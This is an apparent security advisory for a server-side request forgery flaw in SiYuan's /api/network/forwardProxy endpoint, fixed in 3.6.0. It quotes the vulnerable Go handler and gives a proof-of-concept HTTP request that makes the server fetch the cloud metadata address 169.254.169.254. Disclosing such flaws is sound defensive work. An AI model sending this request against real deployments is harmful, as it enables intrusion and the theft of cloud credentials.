SiYuan is a personal knowledge management system. Prior to 3.6.0, the /api/network/forwardProxy endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services. This vulnerability is fixed in 3.6.0.

Affected: Go: github.com/siyuan-note/siyuan/kernel

### Summary The `/api/network/forwardProxy` endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.

### Affected Code File: `/kernel/api/network.go` (Lines `153-317`) ``` func forwardProxy(c *gin.Context) { ret := gulu.Ret.NewResult() defer c.JSON(http.StatusOK, ret)

arg, ok := util.JsonArg(c, ret) if !ok { return }

destURL := arg["url"].(string) // VULNERABILITY: Only validates URL format, not destination if _, e := url.ParseRequestURI(destURL); nil != e { ret.Code = -1 ret.Msg = "invalid [url]" return }

// ... HTTP request is made to user-controlled URL ... resp, err := request.Send(method, destURL) // Full response body is returned to the user bodyData, err := io.ReadAll(resp.Body) // ... ret.Data = data // Contains full response body } ``` ### PoC - First, authenticate with your access auth code and copy the authenticated cookie. - Now use the request below for SSRF to Access Cloud Metadata. ``` POST /api/network/forwardProxy HTTP/1.1 Host: <HOST> Cookie: siyuan=<COOKIE> Content-Length: 102

{"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}' ``` <img width="1230" heig…